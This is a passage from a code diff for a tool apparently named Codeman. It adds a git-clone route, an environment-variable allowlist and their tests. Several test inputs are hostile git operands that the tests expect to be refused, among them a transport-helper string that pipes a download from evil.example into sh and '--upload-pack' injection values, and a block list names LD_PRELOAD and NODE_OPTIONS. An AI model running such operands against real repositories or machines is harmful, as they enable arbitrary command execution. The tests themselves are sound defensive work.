+          clone.failure.code === 'NOT_FOUND'
+            ? ApiErrorCode.NOT_FOUND
+            : clone.failure.code === 'DESTINATION_EXISTS'
+              ? ApiErrorCode.ALREADY_EXISTS
+              : clone.failure.code === 'REF_NOT_FOUND'
+                ? ApiErrorCode.INVALID_INPUT
+                : clone.failure.code === 'BUSY'
+                  ? ApiErrorCode.RATE_LIMITED
+                  : ApiErrorCode.OPERATION_FAILED;
+        const detail = clone.failure.stderr
+          ? `${clone.failure.message} (${gitDiagnosticLine(clone.failure.stderr)})`
+          : clone.failure.message;
+        return createErrorResponse(code, detail);
+      }
+
+      // Scaffold WITHOUT overwriting anything the repository shipped, and
+      // WITHOUT writing through anything it shipped as a symlink.
+      const warnings = [...parsed.warnings];
+      try {
+        // Presence via lstat, not existsSync: a repo-shipped CLAUDE.md SYMLINK
+        // counts as "the repository ships its own" even when the link is
+        // broken (existsSync follows links and reports a broken one as
+        // absent), because writeFileSync would write THROUGH it to a
+        // repository-chosen path outside the case.
+        if (!lstatSync(join(casePath, 'CLAUDE.md'), { throwIfNoEntry: false })) {
+          const templatePath = await ctx.getDefaultClaudeMdPath();
+          const summary = description || `Cloned from ${parsed.repository}`;
+          writeFileSync(join(casePath, 'CLAUDE.md'), generateClaudeMd(name, summary, templatePath));
+        } else {
+          warnings.push('Kept the repository’s own CLAUDE.md.');
+        }
+        if (repoShipsClaudeSettings(casePath)) {
+          warnings.push(
+            'This repository ships its own .claude/settings files. Codeman merged its hooks alongside them without removing anything — review them before starting a session, since repo-supplied hooks run on this machine.'
+          );
+        }
+        // A repository can ship `.claude` (or the settings file) as a symlink
+        // pointing anywhere on this machine; writeHooksConfig itself refuses
+        // to write through those (settingsWriteBlocker in hooks-config.ts).
+        // Checking here too turns that refusal into a user-visible warning.
+        const hooksBlocker = await settingsWriteBlocker(casePath);
+        if (hooksBlocker) {
+          warnings.push(
+            `Codeman hooks were NOT installed: ${hooksBlocker}. Codeman refuses to write through repository-controlled links; replace the link with a real file or directory if you want hooks in this case.`
+          );
+        } else {
+          await writeHooksConfig(casePath);
+        }
+      } catch (err) {
+        // The clone itself succeeded: keep the case and report the scaffolding
+        // problem, rather than deleting a tree the user just waited for.
+        warnings.push(`Case scaffolding was incomplete: ${getErrorMessage(err)}`);
+      }
+
+      ctx.broadcast(SseEvent.CaseCreated, { name, path: casePath });
+      return {
+        success: true,
+        data: {
+          case: { name, path: casePath },
+          repository: parsed.repository,
+          ...(ref ? { ref } : {}),
+          provider: parsed.provider,
+          warnings,
+        },
+      };
+    }
+  );
+
   // Hosts are machine-level infra config (ssh users/identity paths): non-admins get an
   // empty list in multi-user mode, matching the admin-only write side. No-op otherwise.
   app.get('/api/remote-hosts', async (req) =>

src/web/schemas.ts

@@ -124,6 +124,14 @@ export const FileWriteSchema = z
 /** Allowlisted env var key prefixes */
 const ALLOWED_ENV_PREFIXES = ['CLAUDE_CODE_', 'OPENCODE_', 'CODEX_', 'GEMINI_', 'GOOGLE_', 'ANTIGRAVITY_'];
 
+/**
+ * Allowlisted exact env var keys (checked alongside the prefixes).
+ * CLAUDE_CONFIG_DIR relocates the Claude CLI's user config (credentials,
+ * settings, stats) so a case can run on a separate Claude subscription (#255).
+ * Exact match only — CLAUDE_CONFIG_DIR_EXTRA etc. stay rejected.
+ */
+const ALLOWED_ENV_KEYS = new Set(['CLAUDE_CONFIG_DIR']);
+
 /** Env var keys that are always blocked (security-sensitive) */
 const BLOCKED_ENV_KEYS = new Set([
   'PATH',
@@ -138,6 +146,7 @@ const BLOCKED_ENV_KEYS = new Set([
 /** Validate that an env var key is allowed */
 function isAllowedEnvKey(key: string): boolean {
   if (BLOCKED_ENV_KEYS.has(key)) return false;
+  if (ALLOWED_ENV_KEYS.has(key)) return true;
   return ALLOWED_ENV_PREFIXES.some((prefix) => key.startsWith(prefix));
 }
 
@@ -152,7 +161,7 @@ const safeEnvOverridesSchema = z
     },
     {
       message:
-        'envOverrides contains blocked or disallowed env var keys. Only CLAUDE_CODE_*, OPENCODE_*, CODEX_*, GEMINI_*, GOOGLE_*, and ANTIGRAVITY_* keys are allowed.',
+        'envOverrides contains blocked or disallowed env var keys. Only CLAUDE_CODE_*, OPENCODE_*, CODEX_*, GEMINI_*, GOOGLE_*, ANTIGRAVITY_* keys and CLAUDE_CONFIG_DIR are allowed.',
     }
   );
 
@@ -376,6 +385,31 @@ export const CreateCaseSchema = z.object({
   description: z.string().max(1000).optional(),
 });
 
+/**
+ * Schema for POST /api/cases/clone — issue #236.
+ *
+ * `repository` is only length-bounded here on purpose: what makes an operand safe
+ * is the transport/shape analysis in `parseGitRepositoryUrl` (which also produces
+ * the user-facing rejection reason), and duplicating a weaker version of that as a
+ * regex would be the copy that drifts. The route parses before touching git.
+ */
+export const CloneCaseSchema = z.object({
+  name: z
+    .string()
+    .regex(/^[a-zA-Z0-9_-]+$/, 'Invalid case name format. Use only letters, numbers, hyphens, underscores.'),
+  repository: z.string().min(1).max(2048),
+  /** Branch or tag → `--branch <ref> --single-branch`. */
+  ref: z.string().min(1).max(200).optional(),
+  /** `--depth 1`. */
+  shallow: z.boolean().optional(),
+  description: z.string().max(1000).optional(),
+});
+
+/** Schema for POST /api/cases/clone-preflight — ask the remote what it has, clone nothing. */
+export const ClonePreflightSchema = z.object({
+  repository: z.string().min(1).max(2048),
+});
+
 const RemoteCommandOverridesSchema = z
   .object({
     shell: z.string().min(1).max(300).optional(),

src/web/server.ts

@@ -1375,6 +1375,7 @@ export class WebServer extends EventEmitter {
         { isGeminiAvailable },
         { isAntigravityAvailable },
         { isCloudflaredAvailable },
+        { isGitAvailable },
       ] = await Promise.all([
         import('../utils/claude-cli-resolver.js'),
         import('../utils/opencode-cli-resolver.js'),
@@ -1382,6 +1383,7 @@ export class WebServer extends EventEmitter {
         import('../utils/gemini-cli-resolver.js'),
         import('../utils/antigravity-cli-resolver.js'),
         import('../utils/cloudflared-resolver.js'),
+        import('../git-clone.js'),
       ]);
       const available = {
         claude: isClaudeAvailable(),
@@ -1390,6 +1392,9 @@ export class WebServer extends EventEmitter {
         gemini: isGeminiAvailable(),
         antigravity: isAntigravityAvailable(),
         cloudflared: isCloudflaredAvailable(),
+        // Not a run mode: the Add Case → Clone tab is an offer this box cannot
+        // keep without git (issue #236), same reasoning as cloudflared above.
+        git: isGitAvailable(),
       };
       html = html.replace(
         '</head>',

test/env-overrides-schema.test.ts

@@ -0,0 +1,79 @@
+/**
+ * @fileoverview envOverrides allowlist: exact-key entries alongside the prefixes.
+ *
+ * CLAUDE_CONFIG_DIR (#255) relocates the Claude CLI's user config (credentials,
+ * settings, stats) so a case can run on a separate Claude subscription. It starts
+ * with `CLAUDE_`, not `CLAUDE_CODE_`, so the prefix allowlist alone rejects it;
+ * ALLOWED_ENV_KEYS in schemas.ts admits it as an exact match. These tests pin:
+ * the exact key is accepted, near-misses stay rejected (no accidental prefix
+ * widening), blocked keys stay blocked, and the key survives persist filtering
+ * (losing it on restart would silently move a session back to the default account).
+ */
+
+import { describe, it, expect } from 'vitest';
+import { CreateSessionSchema } from '../src/web/schemas.js';
+import { Session } from '../src/session.js';
+
+describe('envOverrides exact-key allowlist', () => {
+  it('accepts CLAUDE_CONFIG_DIR', () => {
+    const parsed = CreateSessionSchema.parse({
+      workingDir: '/tmp',
+      mode: 'claude',
+      envOverrides: { CLAUDE_CONFIG_DIR: '/home/user/.claude-clients/acme' },
+    });
+    expect(parsed.envOverrides).toEqual({ CLAUDE_CONFIG_DIR: '/home/user/.claude-clients/acme' });
+  });
+
+  it('accepts CLAUDE_CONFIG_DIR alongside prefix-allowlisted keys', () => {
+    const parsed = CreateSessionSchema.parse({
+      workingDir: '/tmp',
+      mode: 'claude',
+      envOverrides: {
+        CLAUDE_CONFIG_DIR: '/home/user/.claude-clients/acme',
+        CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: '1',
+      },
+    });
+    expect(Object.keys(parsed.envOverrides ?? {})).toHaveLength(2);
+  });
+
+  it('rejects other CLAUDE_-prefixed keys (exact match only, no prefix widening)', () => {
+    expect(() =>
+      CreateSessionSchema.parse({
+        workingDir: '/tmp',
+        envOverrides: { CLAUDE_SOMETHING_ELSE: 'x' },
+      })
+    ).toThrow();
+    expect(() =>
+      CreateSessionSchema.parse({
+        workingDir: '/tmp',
+        envOverrides: { CLAUDE_CONFIG_DIR_EXTRA: '/tmp/x' },
+      })
+    ).toThrow();
+  });
+
+  it('still blocks security-sensitive keys', () => {
+    for (const key of ['PATH', 'LD_PRELOAD', 'NODE_OPTIONS', 'CODEMAN_MUX_NAME']) {
+      expect(() =>
+        CreateSessionSchema.parse({
+          workingDir: '/tmp',
+          envOverrides: { [key]: 'x' },
+        })
+      ).toThrow();
+    }
+  });
+});
+
+describe('CLAUDE_CONFIG_DIR persistence', () => {
+  it('survives the state.json persist filter (path, not a secret)', () => {
+    const session = new Session({
+      workingDir: '/tmp',
+      envOverrides: {
+        CLAUDE_CONFIG_DIR: '/home/user/.claude-clients/acme',
+        OPENCODE_API_KEY: 'secret-must-not-persist',
+      },
+    });
+    expect(session.getEnvOverridesForPersist()).toEqual({
+      CLAUDE_CONFIG_DIR: '/home/user/.claude-clients/acme',
+    });
+  });
+});

test/git-clone.test.ts

@@ -0,0 +1,521 @@
+/**
+ * @fileoverview Tests for the clone-a-repository-as-a-case core (issue #236).
+ *
+ * Two halves, mirroring the module:
+ *
+ * 1. The PURE half — URL parsing (where the security decisions live), argv/env
+ *    construction, `ls-remote` parsing and stderr classification. No spawning.
+ * 2. The IO half — driven against a REAL `git` cloning a REAL local bare repo, so
+ *    the argv, the failure classification and the cleanup-on-failure path are all
+ *    proven against git's actual behavior rather than a mock's idea of it. These
+ *    skip themselves when git is unavailable (never silently pass: the pure
+ *    assertions above still run).
+ *
+ * Port: N/A (no server).
+ */
+
+import { describe, it, expect, beforeAll, afterAll, vi } from 'vitest';
+import { execFileSync } from 'node:child_process';
+import { existsSync, mkdirSync, mkdtempSync, readdirSync, rmSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import {
+  buildCloneArgs,
+  buildLsRemoteArgs,
+  classifyGitFailure,
+  cloneRepository,
+  getActiveGitOperationCount,
+  gitNonInteractiveEnv,
+  isGitAvailable,
+  isSafeGitRef,
+  parseGitRepositoryUrl,
+  parseLsRemoteOutput,
+  probeGitRemote,
+  sanitizeGitOutput,
+  suggestCaseNameFromRepo,
+} from '../src/git-clone.js';
+
+/** Narrow a parse result to the accepted branch, failing loudly otherwise. */
+function accepted(input: string) {
+  const parsed = parseGitRepositoryUrl(input);
+  if (!parsed.cloneable) throw new Error(`expected ${input} to be cloneable, got ${parsed.code}: ${parsed.message}`);
+  return parsed;
+}
+
+/** Narrow a parse result to the rejected branch. */
+function rejected(input: string) {
+  const parsed = parseGitRepositoryUrl(input);
+  if (parsed.cloneable) throw new Error(`expected ${input} to be REFUSED, but it parsed as ${parsed.repository}`);
+  return parsed;
+}
+
+describe('parseGitRepositoryUrl', () => {
+  it('accepts an https GitHub URL and pulls out owner/repo/provider', () => {
+    const parsed = accepted('https://github.com/Ark0N/Codeman.git');
+    expect(parsed.transport).toBe('https');
+    expect(parsed.host).toBe('github.com');
+    expect(parsed.owner).toBe('Ark0N');
+    expect(parsed.repo).toBe('Codeman');
+    expect(parsed.provider).toBe('GitHub');
+    expect(parsed.suggestedName).toBe('Codeman');
+    expect(parsed.warnings).toEqual([]);
+  });
+
+  it('accepts nested owner paths and a missing .git suffix', () => {
+    const parsed = accepted('https://gitlab.com/group/subgroup/project');
+    expect(parsed.owner).toBe('group/subgroup');
+    expect(parsed.repo).toBe('project');
+    expect(parsed.provider).toBe('GitLab');
+  });
+
+  it('accepts the scp-like SSH form', () => {
+    const parsed = accepted('git@github.com:owner/repo.git');
+    expect(parsed.transport).toBe('ssh');
+    expect(parsed.host).toBe('github.com');
+    expect(parsed.owner).toBe('owner');
+    expect(parsed.repo).toBe('repo');
+    // The advisory exists because an unconfigured key fails rather than prompts.
+    expect(parsed.warnings.join(' ')).toMatch(/ssh keys/i);
+  });
+
+  it('accepts ssh:// with a port', () => {
+    const parsed = accepted('ssh://git@git.example.com:2222/owner/repo.git');
+    expect(parsed.transport).toBe('ssh');
+    expect(parsed.host).toBe('git.example.com:2222');
+    expect(parsed.repo).toBe('repo');
+  });
+
+  it('warns but accepts plain http and git://', () => {
+    expect(accepted('http://example.com/owner/repo.git').warnings.join(' ')).toMatch(/unencrypted/i);
+    expect(accepted('git://example.com/owner/repo.git').warnings.join(' ')).toMatch(/unauthenticated/i);
+  });
+
+  it('accepts an absolute local path and file:// as a local clone', () => {
+    expect(accepted('/srv/repos/thing.git').transport).toBe('local');
+    expect(accepted('/srv/repos/thing.git').repo).toBe('thing');
+    expect(accepted('file:///srv/repos/thing').transport).toBe('local');
+  });
+
+  // ── The refusals that matter ──────────────────────────────────────────────
+
+  it('REFUSES ext:: and every other transport helper (arbitrary command execution)', () => {
+    expect(rejected('ext::sh -c "curl evil.example | sh"').code).toBe('TRANSPORT_HELPER');
+    expect(rejected('fd::7').code).toBe('TRANSPORT_HELPER');
+    // Not just the known-bad names: ANY `<helper>::` dispatches to git-remote-<helper>.
+    expect(rejected('weird::payload').code).toBe('TRANSPORT_HELPER');
+  });
+
+  it('REFUSES an option-shaped operand', () => {
+    expect(rejected('--upload-pack=touch /tmp/pwned').code).toBe('OPTION_LIKE');
+    expect(rejected('-u whatever').code).toBe('OPTION_LIKE');
+  });
+
+  it('REFUSES a URL carrying a password', () => {
+    expect(rejected('https://user:token@github.com/owner/repo.git').code).toBe('CREDENTIALS_IN_URL');
+  });
+
+  it('REFUSES unsupported schemes', () => {
+    expect(rejected('ftp://example.com/repo.git').code).toBe('UNSUPPORTED_TRANSPORT');
+    expect(rejected('javascript://example.com/repo.git').code).toBe('UNSUPPORTED_TRANSPORT');
+  });
+
+  it('REFUSES control characters and over-long input', () => {
+    expect(rejected('https://example.com/repo\n--upload-pack=x').code).toBe('CONTROL_CHARS');
+    expect(rejected(`https://example.com/${'a'.repeat(2100)}`).code).toBe('TOO_LONG');
+  });
+
+  it('REFUSES relative and ~ paths, and empty input', () => {
+    expect(rejected('./repo').code).toBe('BAD_SYNTAX');
+    expect(rejected('~/repo').code).toBe('BAD_SYNTAX');
+    expect(rejected('   ').code).toBe('EMPTY');
+    expect(rejected('not a url at all').code).toBe('BAD_SYNTAX');
+  });
+
+  it('REFUSES a URL with no repository name', () => {
+    expect(rejected('https://github.com/').code).toBe('NO_REPOSITORY_NAME');
+  });
+
+  it('REFUSES a malformed percent-escape as BAD_SYNTAX instead of throwing', () => {
+    // `new URL` tolerates "%zz" in a path; decodeURIComponent throws on it,
+    // and uncaught that URIError surfaced as a 500 from the route.
+    expect(rejected('https://github.com/%zz/repo.git').code).toBe('BAD_SYNTAX');
+    expect(rejected('https://github.com/owner/repo%').code).toBe('BAD_SYNTAX');
+  });
+});
+
+describe('suggestCaseNameFromRepo', () => {
+  it('produces names the case-name validator accepts', () => {
+    expect(suggestCaseNameFromRepo('My.Repo.git')).toBe('My-Repo');
+    expect(suggestCaseNameFromRepo('repo with spaces')).toBe('repo-with-spaces');
+    expect(suggestCaseNameFromRepo('--weird--')).toBe('weird');
+    for (const input of ['My.Repo.git', 'repo with spaces', 'a/b', 'ünïcodé']) {
+      const suggested = suggestCaseNameFromRepo(input);
+      if (suggested) expect(suggested).toMatch(/^[a-zA-Z0-9_-]+$/);
+    }
+  });
+
+  it('returns empty rather than inventing a name when nothing survives', () => {
+    expect(suggestCaseNameFromRepo('...')).toBe('');
+    expect(suggestCaseNameFromRepo('')).toBe('');
+  });
+});
+
+describe('isSafeGitRef', () => {
+  it('accepts real branch and tag names', () => {
+    for (const ref of ['main', 'v1.2.3', 'release/2026-08', 'feat_x', 'v1.0.0+build.5']) {
+      expect(isSafeGitRef(ref)).toBe(true);
+    }
+  });
+
+  it('rejects flags, traversal and revision syntax', () => {
+    for (const ref of ['-x', '--upload-pack=x', 'a..b', 'HEAD@{1}', 'x.lock', 'has space', 'trailing/', '']) {
+      expect(isSafeGitRef(ref)).toBe(false);
+    }
+  });
+});
+
+describe('buildCloneArgs / buildLsRemoteArgs', () => {
+  it('always separates operands with --', () => {
+    const args = buildCloneArgs({ repository: 'https://example.com/r.git', destination: '/cases/r' });
+    expect(args).toEqual(['clone', '--', 'https://example.com/r.git', '/cases/r']);
+    // The operands must sit AFTER the separator, always.
+    expect(args.indexOf('--')).toBeLessThan(args.indexOf('https://example.com/r.git'));
+    expect(buildLsRemoteArgs('https://example.com/r.git')).toEqual([
+      'ls-remote',
+      '--symref',
+      '--',
+      'https://example.com/r.git',
+    ]);
+  });
+
+  it('maps ref to --branch --single-branch and shallow to --depth 1', () => {
+    expect(buildCloneArgs({ repository: 'r', destination: 'd', ref: 'v1', shallow: true })).toEqual([
+      'clone',
+      '--single-branch',
+      '--branch',
+      'v1',
+      '--depth',
+      '1',
+      '--',
+      'r',
+      'd',
+    ]);
+  });
+});
+
+describe('gitNonInteractiveEnv', () => {
+  it('closes every interactive path that could hang an open request', () => {
+    const env = gitNonInteractiveEnv({ PATH: '/usr/bin', HOME: '/home/x' });
+    expect(env.GIT_TERMINAL_PROMPT).toBe('0');
+    expect(env.GIT_ASKPASS).toBe('');
+    expect(env.SSH_ASKPASS_REQUIRE).toBe('never');
+    expect(env.DISPLAY).toBe('');
+    expect(env.GCM_INTERACTIVE).toBe('never');
+    expect(env.GIT_SSH_COMMAND).toContain('BatchMode=yes');
+    // HOME/PATH are inherited on purpose: a working ssh agent keeps working.
+    expect(env.HOME).toBe('/home/x');
+    expect(env.PATH).toBe('/usr/bin');
+  });
+
+  it("does not override a user's own GIT_SSH_COMMAND", () => {
+    expect(gitNonInteractiveEnv({ GIT_SSH_COMMAND: 'ssh -F /custom' }).GIT_SSH_COMMAND).toBe('ssh -F /custom');
+  });
+});
+
+describe('parseLsRemoteOutput', () => {
+  it('extracts the default branch, branches and tags, dropping peeled tags', () => {
+    const parsed = parseLsRemoteOutput(
+      [
+        'ref: refs/heads/master\tHEAD',
+        'b1614e89fcfad61f23052879544b60560a7499cf\tHEAD',
+        'b1614e89fcfad61f23052879544b60560a7499cf\trefs/heads/master',
+        '498e0545de2edd7a7b412861060580da03fad881\trefs/heads/feat/x',
+        '7c3688467ed65a84e91014f58058823471c69359\trefs/tags/v1.0.0',
+        '7c3688467ed65a84e91014f58058823471c69359\trefs/tags/v1.0.0^{}',
+        '085f4acb606afa75d311dcabfb397d802ed147b4\trefs/pull/1/head',
+        '',
+      ].join('\n')
+    );
+    expect(parsed.defaultBranch).toBe('master');
+    expect(parsed.branches).toEqual(['master', 'feat/x']);
+    expect(parsed.tags).toEqual(['v1.0.0']);
+    expect(parsed.truncated).toBe(false);
+  });
+
+  it('survives a remote with no HEAD symref', () => {
+    const parsed = parseLsRemoteOutput('0ae798f372995b5108796f089d0dcc25df6d40ba\trefs/heads/main');
+    expect(parsed.defaultBranch).toBeUndefined();
+    expect(parsed.branches).toEqual(['main']);
+  });
+});
+
+describe('classifyGitFailure', () => {
+  it('reports a missing git binary', () => {
+    expect(classifyGitFailure('', false, 'Error: spawn git ENOENT').code).toBe('GIT_MISSING');
+  });
+
+  it('reports a timeout before looking at stderr', () => {
+    expect(classifyGitFailure('fatal: repository not found', true).code).toBe('TIMEOUT');
+  });
+
+  it('recognizes the authentication wall in its several dialects', () => {
+    for (const stderr of [
+      "fatal: could not read Username for 'https://github.com': terminal prompts disabled",
+      'remote: Invalid username or password.',
+      'git@github.com: Permission denied (publickey).',
+    ]) {
+      expect(classifyGitFailure(stderr, false).code).toBe('AUTH_REQUIRED');
+    }
+  });
+
+  it('says "not found OR private" rather than just "not found"', () => {
+    const failure = classifyGitFailure("remote: Repository not found.\nfatal: repository 'x' not found", false);
+    expect(failure.code).toBe('NOT_FOUND');
+    expect(failure.message).toMatch(/private/i);
+  });
+
+  it('recognizes a missing ref and an unreachable host', () => {
+    expect(classifyGitFailure('fatal: Remote branch nope not found in upstream origin', false).code).toBe(
+      'REF_NOT_FOUND'
+    );
+    expect(classifyGitFailure('fatal: unable to access: Could not resolve host: nope.invalid', false).code).toBe(
+      'HOST_UNREACHABLE'
+    );
+  });
+});
+
+describe('sanitizeGitOutput', () => {
+  it('redacts credentials a helper may have echoed back', () => {
+    expect(sanitizeGitOutput("fatal: unable to access 'https://bob:ghp_secret@github.com/x.git/'")).toBe(
+      "fatal: unable to access 'https://***:***@github.com/x.git/'"
+    );
+  });
+
+  it('strips control bytes and keeps the TAIL when over budget', () => {
+    expect(sanitizeGitOutput('abc')).toBe('ab[31mc');
+    const long = sanitizeGitOutput(`${'x'.repeat(50)}THE-END`, 10);
+    expect(long.startsWith('…')).toBe(true);
+    expect(long.endsWith('THE-END')).toBe(true);
+  });
+});
+
+// ─── Real git, real local repository ─────────────────────────────────────────
+
+const gitPresent = isGitAvailable();
+
+describe.skipIf(!gitPresent)('cloneRepository / probeGitRemote (real git)', () => {
+  let root: string;
+  let origin: string;
+
+  const git = (args: string[], cwd: string) =>
+    execFileSync('git', args, { cwd, encoding: 'utf-8', stdio: ['ignore', 'pipe', 'pipe'] });
+
+  beforeAll(() => {
+    root = mkdtempSync(join(tmpdir(), 'codeman-clone-test-'));
+    origin = join(root, 'origin.git');
+    mkdirSync(origin);
+    git(['init', '--bare', '--quiet'], origin);
+
+    const work = join(root, 'work');
+    mkdirSync(work);
+    git(['init', '--quiet'], work);
+    git(['config', 'user.email', 'test@example.com'], work);
+    git(['config', 'user.name', 'Codeman Test'], work);
+    writeFileSync(join(work, 'README.md'), '# fixture\n');
+    git(['add', 'README.md'], work);
+    git(['commit', '--quiet', '-m', 'initial'], work);
+    git(['branch', '-M', 'main'], work);
+    git(['tag', 'v1'], work);
+    git(['checkout', '--quiet', '-b', 'side'], work);
+    writeFileSync(join(work, 'SIDE.md'), 'side\n');
+    git(['add', 'SIDE.md'], work);
+    git(['commit', '--quiet', '-m', 'side'], work);
+    git(['checkout', '--quiet', 'main'], work);
+    git(['remote', 'add', 'origin', origin], work);
+    git(['push', '--quiet', 'origin', 'main', 'side', '--tags'], work);
+    // Give the bare repo a HEAD that resolves, so --symref has something to say.
+    git(['symbolic-ref', 'HEAD', 'refs/heads/main'], origin);
+  });
+
+  afterAll(() => {
+    rmSync(root, { recursive: true, force: true });
+  });
+
+  it('probes a reachable remote for its default branch, branches and tags', async () => {
+    const probe = await probeGitRemote(origin);
+    expect(probe.reachable).toBe(true);
+    expect(probe.defaultBranch).toBe('main');
+    expect(probe.branches.sort()).toEqual(['main', 'side']);
+    expect(probe.tags).toEqual(['v1']);
+  });
+
+  it('reports an unreachable remote as a normal answer, not a throw', async () => {
+    const probe = await probeGitRemote(join(root, 'does-not-exist.git'));
+    expect(probe.reachable).toBe(false);
+    expect(probe.failure?.code).toBe('NOT_FOUND');
+    expect(probe.branches).toEqual([]);
+  });
+
+  it('clones into a fresh destination', async () => {
+    const dest = join(root, 'clone-plain');
+    const result = await cloneRepository({ repository: origin, destination: dest });
+    expect(result.ok).toBe(true);
+    expect(existsSync(join(dest, 'README.md'))).toBe(true);
+    expect(existsSync(join(dest, '.git'))).toBe(true);
+  });
+
+  it('clones a single branch when a ref is given', async () => {
+    const dest = join(root, 'clone-side');
+    const result = await cloneRepository({ repository: origin, destination: dest, ref: 'side' });
+    expect(result.ok).toBe(true);
+    expect(existsSync(join(dest, 'SIDE.md'))).toBe(true);
+  });
+
+  it('clones a tag, shallow', async () => {
+    const dest = join(root, 'clone-tag');
+    const result = await cloneRepository({ repository: origin, destination: dest, ref: 'v1', shallow: true });
+    expect(result.ok).toBe(true);
+    expect(existsSync(join(dest, 'README.md'))).toBe(true);
+    expect(existsSync(join(dest, 'SIDE.md'))).toBe(false);
+  });
+
+  it('removes the destination it created when the clone fails', async () => {
+    const dest = join(root, 'clone-bad-ref');
+    const result = await cloneRepository({ repository: origin, destination: dest, ref: 'no-such-branch' });
+    expect(result.ok).toBe(false);
+    if (!result.ok) expect(result.failure.code).toBe('REF_NOT_FOUND');
+    // The half-written tree must not survive as a phantom case directory,
+    // and neither may the attempt-owned temp directory it cloned into.
+    expect(existsSync(dest)).toBe(false);
+    expect(readdirSync(root).filter((n) => n.includes('.cloning-'))).toEqual([]);
+  });
+
+  it('lets two concurrent clones of the SAME destination race safely', async () => {
+    // Both used to pass the existence check; the loser's cleanup then DELETED
+    // the winner's finished tree. Now each attempt clones into its own temp
+    // sibling and an atomic rename decides the winner.
+    const dest = join(root, 'clone-race');
+    const results = await Promise.all([
+      cloneRepository({ repository: origin, destination: dest }),
+      cloneRepository({ repository: origin, destination: dest }),
+    ]);
+    expect(results.filter((r) => r.ok)).toHaveLength(1);
+    const loser = results.find((r) => !r.ok);
+    if (loser && !loser.ok) expect(loser.failure.code).toBe('DESTINATION_EXISTS');
+    // The winner's tree survives the loser's cleanup intact...
+    expect(existsSync(join(dest, 'README.md'))).toBe(true);
+    expect(existsSync(join(dest, '.git'))).toBe(true);
+    // ...and neither attempt leaves its temp directory behind.
+    expect(readdirSync(root).filter((n) => n.includes('.cloning-'))).toEqual([]);
+  });
+
+  it('refuses a destination that already exists instead of cloning into it', async () => {
+    const dest = join(root, 'occupied');
+    mkdirSync(dest);
+    writeFileSync(join(dest, 'keep.txt'), 'precious\n');
+    const result = await cloneRepository({ repository: origin, destination: dest });
+    expect(result.ok).toBe(false);
+    if (!result.ok) expect(result.failure.code).toBe('DESTINATION_EXISTS');
+    // And the pre-existing directory is left completely alone.
+    expect(existsSync(join(dest, 'keep.txt'))).toBe(true);
+  });
+
+  it('rejects an unsafe ref without spawning git', async () => {
+    const result = await cloneRepository({
+      repository: origin,
+      destination: join(root, 'never'),
+      ref: '--upload-pack=x',
+    });
+    expect(result.ok).toBe(false);
+    expect(existsSync(join(root, 'never'))).toBe(false);
+  });
+
+  it('releases every concurrency slot it took', async () => {
+    await Promise.all([probeGitRemote(origin), probeGitRemote(origin), probeGitRemote(origin), probeGitRemote(origin)]);
+    // A leaked slot would eventually wedge every future clone behind a full pool.
+    expect(getActiveGitOperationCount()).toBe(0);
+  });
+
+  it('times out instead of hanging forever', async () => {
+    // 1ms budget: git cannot finish, so the SIGTERM/SIGKILL escalation is what ends it.
+    const result = await cloneRepository({
+      repository: origin,
+      destination: join(root, 'clone-timeout'),
+      timeoutMs: 1,
+    });
+    expect(result.ok).toBe(false);
+    if (!result.ok) expect(result.failure.code).toBe('TIMEOUT');
+    expect(existsSync(join(root, 'clone-timeout'))).toBe(false);
+    expect(readdirSync(root).filter((n) => n.includes('.cloning-'))).toEqual([]);
+  });
+});
+
+// ─── Pool bounds, driven with a fake `git` that sleeps ──────────────────────
+//
+// A fresh module instance (vi.resetModules + dynamic import) picks up the
+// 1-slot/1-waiter env config, and a PATH-shimmed `git` that answers --version
+// then sleeps lets one operation HOLD the slot deterministically with no
+// network. Placed after the real-git suite so the PATH shim never leaks into it.
+describe('git pool queue bounds (fake git)', () => {
+  let fakeDir: string;
+  let savedPath: string | undefined;
+  let mod: typeof import('../src/git-clone.js');
+
+  beforeAll(async () => {
+    fakeDir = mkdtempSync(join(tmpdir(), 'codeman-fake-git-'));
+    writeFileSync(
+      join(fakeDir, 'git'),
+      '#!/bin/sh\nif [ "$1" = "--version" ]; then echo "git version 2.43.0"; exit 0; fi\nsleep 30\n',
+      { mode: 0o755 }
+    );
+    savedPath = process.env.PATH;
+    process.env.PATH = `${fakeDir}:${savedPath}`;
+    process.env.CODEMAN_MAX_GIT_OPERATIONS = '1';
+    process.env.CODEMAN_MAX_GIT_QUEUE = '1';
+    vi.resetModules();
+    mod = await import('../src/git-clone.js');
+  });
+
+  afterAll(() => {
+    process.env.PATH = savedPath;
+    delete process.env.CODEMAN_MAX_GIT_OPERATIONS;
+    delete process.env.CODEMAN_MAX_GIT_QUEUE;
+    rmSync(fakeDir, { recursive: true, force: true });
+    vi.resetModules();
+  });
+
+  it('bounds the queue with BUSY and counts queue time against the deadline', async () => {
+    // Occupies the single slot: the fake git sleeps far past its 3s budget.
+    const holder = mod.probeGitRemote('https://pool.invalid/repo.git', 3_000);
+    await new Promise((r) => setTimeout(r, 100));
+
+    // Fills the single queue seat; its 300ms deadline must elapse IN the queue.
+    const queued = mod.probeGitRemote('https://pool.invalid/repo.git', 300);
+    await new Promise((r) => setTimeout(r, 50));
+
+    // Queue full: answered BUSY immediately, without waiting out its own 5s budget.
+    const before = Date.now();
+    const overflow = await mod.probeGitRemote('https://pool.invalid/repo.git', 5_000);
+    expect(Date.now() - before).toBeLessThan(1_000);
+    expect(overflow.reachable).toBe(false);
+    expect(overflow.failure?.code).toBe('BUSY');
+
+    // The queued waiter timed out WITHOUT ever spawning git (slot never freed).
+    const queuedResult = await queued;
+    expect(queuedResult.reachable).toBe(false);
+    expect(queuedResult.failure?.code).toBe('TIMEOUT');
+
+    // The slot holder is killed by its own deadline, and nothing leaks.
+    const holderResult = await holder;
+    expect(holderResult.failure?.code).toBe('TIMEOUT');
+    expect(mod.getActiveGitOperationCount()).toBe(0);
+    expect(mod.getQueuedGitOperationCount()).toBe(0);
+  });
+});
+
+describe('isGitAvailable', () => {
+  it('answers consistently (memoized)', () => {
+    expect(isGitAvailable()).toBe(gitPresent);
+    expect(isGitAvailable()).toBe(gitPresent);
+  });
+});

test/home-sessions.test.ts

@@ -0,0 +1,223 @@
+// Port: none (pure model + static markup assertions — no browser, no server).
+//
+// The desktop home screen's tab column (src/web/public/home-sessions.js) fills
+// the welcome overlay's left gutter. Two things about it can silently go wrong
+// and are pinned here: the row ORDER (it mirrors the tab strip, unlike the phone
+// overview which sorts by urgency, and the number badges are only correct if it
